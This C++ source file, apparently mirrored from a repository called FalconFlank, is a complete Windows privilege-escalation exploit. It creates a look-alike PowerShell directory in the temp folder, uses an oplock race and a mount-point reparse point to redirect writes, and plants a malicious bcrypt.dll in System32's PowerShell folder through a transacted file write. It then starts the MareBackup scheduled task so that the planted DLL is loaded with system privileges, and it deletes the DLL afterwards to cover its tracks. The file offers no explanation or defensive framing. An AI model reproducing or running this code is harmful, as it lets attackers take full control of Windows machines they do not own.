mirror of
https://github.com/MSNightmare/FalconFlank
synced 2026-09-03 06:05:05 +00:00
354 lines
13 KiB
C++
354 lines
13 KiB
C++
#define _CRT_SECURE_NO_WARNINGS
|
|
#include <iostream>
|
|
#include <Windows.h>
|
|
#include <winioctl.h>
|
|
#include <cstring>
|
|
#include <string>
|
|
#include <winternl.h>
|
|
#include <combaseapi.h>
|
|
#include <evntprov.h>
|
|
#include <vector>
|
|
#include <initguid.h>
|
|
#include <ole2.h>
|
|
#include <taskschd.h>
|
|
#include <comdef.h>
|
|
#include <ktmw32.h>
|
|
#include <conio.h>
|
|
#pragma comment(lib, "ole32.lib")
|
|
#include "doc.h"
|
|
#pragma comment(lib, "ntdll.lib")
|
|
#pragma comment(lib, "taskschd.lib")
|
|
#pragma comment(lib, "ktmw32.lib")
|
|
|
|
#define ALL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE
|
|
|
|
|
|
#define targetdll L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcrypt.dll"
|
|
|
|
#ifndef IO_REPARSE_TAG_MOUNT_POINT
|
|
#define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L)
|
|
#endif
|
|
|
|
#ifndef FSCTL_SET_REPARSE_POINT_EX
|
|
#define FSCTL_SET_REPARSE_POINT_EX \
|
|
CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 259, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
|
|
#endif
|
|
|
|
typedef struct _REPARSE_DATA_BUFFER {
|
|
ULONG ReparseTag;
|
|
USHORT ReparseDataLength;
|
|
USHORT Reserved;
|
|
union {
|
|
struct {
|
|
USHORT SubstituteNameOffset;
|
|
USHORT SubstituteNameLength;
|
|
USHORT PrintNameOffset;
|
|
USHORT PrintNameLength;
|
|
ULONG Flags;
|
|
WCHAR PathBuffer[1];
|
|
} SymbolicLinkReparseBuffer;
|
|
struct {
|
|
USHORT SubstituteNameOffset;
|
|
USHORT SubstituteNameLength;
|
|
USHORT PrintNameOffset;
|
|
USHORT PrintNameLength;
|
|
WCHAR PathBuffer[1];
|
|
} MountPointReparseBuffer;
|
|
struct {
|
|
UCHAR DataBuffer[1];
|
|
} GenericReparseBuffer;
|
|
} DUMMYUNIONNAME;
|
|
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
|
|
|
|
typedef struct _REPARSE_DATA_BUFFER_EX {
|
|
ULONG Flags;
|
|
ULONG ExistingReparseTag;
|
|
GUID ExistingReparseGuid;
|
|
ULONGLONG Reserved;
|
|
union {
|
|
REPARSE_DATA_BUFFER ReparseDataBuffer;
|
|
REPARSE_GUID_DATA_BUFFER ReparseGuidDataBuffer;
|
|
} DUMMYUNIONNAME;
|
|
} REPARSE_DATA_BUFFER_EX, * PREPARSE_DATA_BUFFER_EX;
|
|
|
|
|
|
typedef struct _FILE_RENAME_INFORMATION {
|
|
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
|
|
union {
|
|
BOOLEAN ReplaceIfExists; // FileRenameInformation
|
|
ULONG Flags; // FileRenameInformationEx
|
|
} DUMMYUNIONNAME;
|
|
#else
|
|
BOOLEAN ReplaceIfExists;
|
|
#endif
|
|
HANDLE RootDirectory;
|
|
ULONG FileNameLength;
|
|
WCHAR FileName[1];
|
|
} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION;
|
|
|
|
NTSTATUS(NTAPI* _NtSetInformationFile)(
|
|
_In_ HANDLE FileHandle,
|
|
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
|
_In_reads_bytes_(Length) PVOID FileInformation,
|
|
_In_ ULONG Length,
|
|
_In_ FILE_INFORMATION_CLASS FileInformationClass
|
|
) = (NTSTATUS(NTAPI*)(
|
|
_In_ HANDLE FileHandle,
|
|
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
|
_In_reads_bytes_(Length) PVOID FileInformation,
|
|
_In_ ULONG Length,
|
|
_In_ FILE_INFORMATION_CLASS FileInformationClass
|
|
))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtSetInformationFile");
|
|
|
|
|
|
int main()
|
|
{
|
|
|
|
|
|
HRESULT hr = S_OK;
|
|
ITaskService* pTaskSvc;
|
|
hr = CoInitialize(NULL);
|
|
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
|
|
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
|
|
HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\FALCONFLANK", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL, NULL);
|
|
if (hpipe == INVALID_HANDLE_VALUE)
|
|
return 1;
|
|
|
|
wchar_t rptarget[] = { L"\\SystemRoot\\System32\\WindowsPowerShell" };
|
|
std::wstring targetPath = rptarget;
|
|
const std::wstring substituteName = targetPath;
|
|
const std::wstring printName = targetPath;
|
|
|
|
const USHORT nameBytes = static_cast<USHORT>(
|
|
(substituteName.size() + 1 + printName.size() + 1) * sizeof(WCHAR));
|
|
|
|
// Bytes from the start of MountPointReparseBuffer to its PathBuffer field
|
|
// (i.e. the size of its four USHORT header members) — computed instead
|
|
// of hardcoded, in case of future struct changes.
|
|
const USHORT mountPointHeader = static_cast<USHORT>(
|
|
FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer.PathBuffer) -
|
|
FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer));
|
|
|
|
const USHORT reparseDataLength = static_cast<USHORT>(mountPointHeader + nameBytes);
|
|
|
|
const size_t exHeaderSize = FIELD_OFFSET(REPARSE_DATA_BUFFER_EX, ReparseDataBuffer);
|
|
const size_t rdbHeaderSize = FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer.PathBuffer);
|
|
const size_t totalSize = exHeaderSize + rdbHeaderSize + nameBytes;
|
|
|
|
std::vector<BYTE> buffer(totalSize, 0);
|
|
auto* rdbEx = reinterpret_cast<PREPARSE_DATA_BUFFER_EX>(buffer.data());
|
|
|
|
rdbEx->Flags = 0;
|
|
rdbEx->ExistingReparseTag = 0; // require the directory to have no reparse tag yet
|
|
rdbEx->Reserved = 0;
|
|
|
|
REPARSE_DATA_BUFFER& rdb = rdbEx->ReparseDataBuffer;
|
|
rdb.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
|
rdb.ReparseDataLength = reparseDataLength;
|
|
rdb.Reserved = 0;
|
|
|
|
auto& mp = rdb.MountPointReparseBuffer;
|
|
mp.SubstituteNameOffset = 0;
|
|
mp.SubstituteNameLength = static_cast<USHORT>(substituteName.size() * sizeof(WCHAR));
|
|
mp.PrintNameOffset = static_cast<USHORT>(mp.SubstituteNameLength + sizeof(WCHAR));
|
|
mp.PrintNameLength = static_cast<USHORT>(printName.size() * sizeof(WCHAR));
|
|
|
|
wchar_t* pathBuf = mp.PathBuffer;
|
|
memcpy(pathBuf, substituteName.c_str(), mp.SubstituteNameLength);
|
|
pathBuf[substituteName.size()] = L'\0';
|
|
|
|
BYTE* printDst = reinterpret_cast<BYTE*>(pathBuf) + mp.PrintNameOffset;
|
|
memcpy(printDst, printName.c_str(), mp.PrintNameLength);
|
|
*reinterpret_cast<wchar_t*>(printDst + mp.PrintNameLength) = L'\0';
|
|
|
|
|
|
GUID guid = { 0 };
|
|
OLECHAR* cch;
|
|
CoCreateGuid(&guid);
|
|
StringFromCLSID(guid, &cch);
|
|
IO_STATUS_BLOCK iostat = { 0 };
|
|
wchar_t workdir[MAX_PATH] = { 0 };
|
|
ExpandEnvironmentStrings(L"\\??\\%TEMP%\\Flanker_", workdir, MAX_PATH);
|
|
wcscat(workdir, cch);
|
|
UNICODE_STRING _workdirpath = { 0 };
|
|
RtlInitUnicodeString(&_workdirpath, workdir);
|
|
OBJECT_ATTRIBUTES objattr = { 0 };
|
|
InitializeObjectAttributes(&objattr, &_workdirpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
HANDLE hworkdir = NULL;
|
|
NTSTATUS stat = NtCreateFile(&hworkdir, GENERIC_ALL | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_DIRECTORY, ALL_SHARING, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
|
|
if (stat)
|
|
{
|
|
printf("Error 0x%0.8X creating work directory %ws\n", stat, workdir);
|
|
return 1;
|
|
}
|
|
iostat = { 0 };
|
|
UNICODE_STRING windir = { 0 };
|
|
RtlInitUnicodeString(&windir, L"WindowsPowerShell");
|
|
OBJECT_ATTRIBUTES objattr2 = { 0 };
|
|
InitializeObjectAttributes(&objattr2, &windir, OBJ_CASE_INSENSITIVE, hworkdir, NULL);
|
|
HANDLE hwindir = NULL;
|
|
stat = NtCreateFile(&hwindir, GENERIC_ALL | SYNCHRONIZE, &objattr2, &iostat, NULL, FILE_ATTRIBUTE_DIRECTORY, ALL_SHARING, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
|
|
if (stat)
|
|
{
|
|
printf("Error 0x%0.8X creating windows directory %ws\n", stat, windir.Buffer);
|
|
return 1;
|
|
}
|
|
iostat = { 0 };
|
|
UNICODE_STRING sys32 = { 0 };
|
|
RtlInitUnicodeString(&sys32, L"v1.0");
|
|
OBJECT_ATTRIBUTES objattr3 = { 0 };
|
|
InitializeObjectAttributes(&objattr3, &sys32, OBJ_CASE_INSENSITIVE, hwindir, NULL);
|
|
HANDLE hsys32dir = NULL;
|
|
stat = NtCreateFile(&hsys32dir, GENERIC_ALL | SYNCHRONIZE, &objattr3, &iostat, NULL, FILE_ATTRIBUTE_DIRECTORY, ALL_SHARING, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
|
|
if (stat)
|
|
{
|
|
printf("Error 0x%0.8X creating system32 directory %ws\n", stat, sys32.Buffer);
|
|
return 1;
|
|
}
|
|
UNICODE_STRING flankfile = { 0 };
|
|
RtlInitUnicodeString(&flankfile, L"bcrypt.dll");
|
|
OBJECT_ATTRIBUTES objattr4 = { 0 };
|
|
InitializeObjectAttributes(&objattr4, &flankfile, OBJ_CASE_INSENSITIVE, hsys32dir, NULL);
|
|
HANDLE hflanker = NULL;
|
|
stat = NtCreateFile(&hflanker, GENERIC_ALL | SYNCHRONIZE, &objattr4, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, ALL_SHARING, FILE_SUPERSEDE, FILE_NON_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
|
|
if (stat)
|
|
{
|
|
printf("Error 0x%0.8X creating %ws\n", stat, flankfile.Buffer);
|
|
return 1;
|
|
}
|
|
DWORD retb = 0;
|
|
OVERLAPPED ovp1 = { 0 };
|
|
ovp1.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
if (!WriteFile(hflanker, rawData, sizeof(rawData), &retb, &ovp1))
|
|
{
|
|
if (GetLastError() != ERROR_IO_PENDING) {
|
|
printf("Failed to write data to target file, error : %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
OVERLAPPED ovoplock = { 0 };
|
|
REQUEST_OPLOCK_INPUT_BUFFER opin = { 0 };
|
|
opin.StructureLength = sizeof(opin);
|
|
opin.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
|
|
opin.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
|
|
opin.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
|
|
REQUEST_OPLOCK_OUTPUT_BUFFER opout = { 0 };
|
|
opout.StructureLength = sizeof(opout);
|
|
opout.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
|
|
DWORD cb = NULL;
|
|
ovoplock.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
if (!DeviceIoControl(hflanker, FSCTL_REQUEST_OPLOCK, &opin, sizeof(opin), &opout, sizeof(opout), &cb, &ovoplock)) {
|
|
if (GetLastError() != ERROR_IO_PENDING) {
|
|
printf("Failed to create oplock, error : %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
}
|
|
HANDLE hflanker2 = NULL;
|
|
stat = NtCreateFile(&hflanker2, GENERIC_READ | SYNCHRONIZE, &objattr4, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, ALL_SHARING, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
|
|
if (stat)
|
|
{
|
|
printf("Error 0x%0.8X creating %ws\n", stat, flankfile.Buffer);
|
|
return 1;
|
|
}
|
|
CloseHandle(hflanker2);
|
|
WaitForSingleObject(ovoplock.hEvent, INFINITE);
|
|
CloseHandle(hflanker);
|
|
|
|
FILE_DISPOSITION_INFO_EX fdiex = { 0 };
|
|
fdiex.Flags = 0x1 | 0x2;
|
|
do {
|
|
stat = _NtSetInformationFile(hsys32dir, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
|
|
} while (stat);
|
|
CloseHandle(hsys32dir);
|
|
bool ret = false;
|
|
while (!DeviceIoControl(hwindir, FSCTL_SET_REPARSE_POINT_EX, buffer.data(), static_cast<DWORD>(totalSize), NULL, NULL, NULL, NULL));
|
|
Sleep(2000);
|
|
HANDLE htrans = CreateTransaction(NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
|
hflanker = CreateFileTransacted(targetdll, GENERIC_READ | GENERIC_WRITE, ALL_SHARING, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htrans,NULL,NULL);
|
|
if (!hflanker || hflanker == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("Exploit failed.\n");
|
|
return 0;
|
|
}
|
|
SetEndOfFile(hflanker);
|
|
LARGE_INTEGER li = { 0 };
|
|
li.QuadPart = sizeof(FlankerDll);
|
|
HANDLE hmap = CreateFileMapping(hflanker, NULL, PAGE_READWRITE, li.HighPart, li.LowPart,NULL);
|
|
void* buff = MapViewOfFile(hmap, FILE_MAP_READ | FILE_MAP_WRITE, NULL, NULL, NULL);
|
|
memmove(buff, FlankerDll, sizeof(FlankerDll));
|
|
FlushFileBuffers(FlankerDll);
|
|
|
|
|
|
CommitTransaction(htrans);
|
|
CloseHandle(htrans);
|
|
CloseHandle(hflanker);
|
|
UnmapViewOfFile(buff);
|
|
CloseHandle(hmap);
|
|
printf("Exploit succeeded, loading dll, please wait...\n");
|
|
|
|
if (SUCCEEDED(hr))
|
|
{
|
|
hr = CoCreateInstance(CLSID_TaskScheduler,
|
|
NULL,
|
|
CLSCTX_INPROC_SERVER,
|
|
IID_ITaskService,
|
|
(void**)&pTaskSvc);
|
|
if (FAILED(hr))
|
|
{
|
|
printf("[-] Failed to initialize task scheduler COM server.\n");
|
|
CoUninitialize();
|
|
return 1;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
return 1;
|
|
}
|
|
hr = pTaskSvc->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
|
|
if (hr)
|
|
{
|
|
printf("[-] Failed to connect to task scheduler service, error : 0x%0.8X\n", hr);
|
|
return 1;
|
|
}
|
|
ITaskFolder* taskfolder;
|
|
pTaskSvc->GetFolder((BSTR)L"\\Microsoft\\Windows\\Application Experience", &taskfolder);
|
|
if (hr)
|
|
{
|
|
printf("[-] Failed to get task scheduler folder, error : 0x%0.8X\n", hr);
|
|
return 1;
|
|
}
|
|
IRegisteredTask* taskex;
|
|
taskfolder->GetTask((BSTR)L"MareBackup", &taskex);
|
|
if (hr)
|
|
{
|
|
printf("[-] Failed to obtain task object, error : 0x%0.8X\n", hr);
|
|
return 1;
|
|
}
|
|
IRunningTask* runningtask;
|
|
taskex->Run(_variant_t(), &runningtask);
|
|
if (hr)
|
|
{
|
|
printf("[-] Failed to run scheduled task, error : 0x%0.8X\n", hr);
|
|
return 1;
|
|
}
|
|
|
|
|
|
|
|
|
|
if (!ConnectNamedPipe(hpipe, NULL))
|
|
{
|
|
printf("[-] ConnectNamedPipe failed, error : %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
|
|
CloseHandle(hwindir);
|
|
CloseHandle(hworkdir);
|
|
Sleep(1000);
|
|
DeleteFile(targetdll);
|
|
|
|
|
|
return 0;
|
|
}
|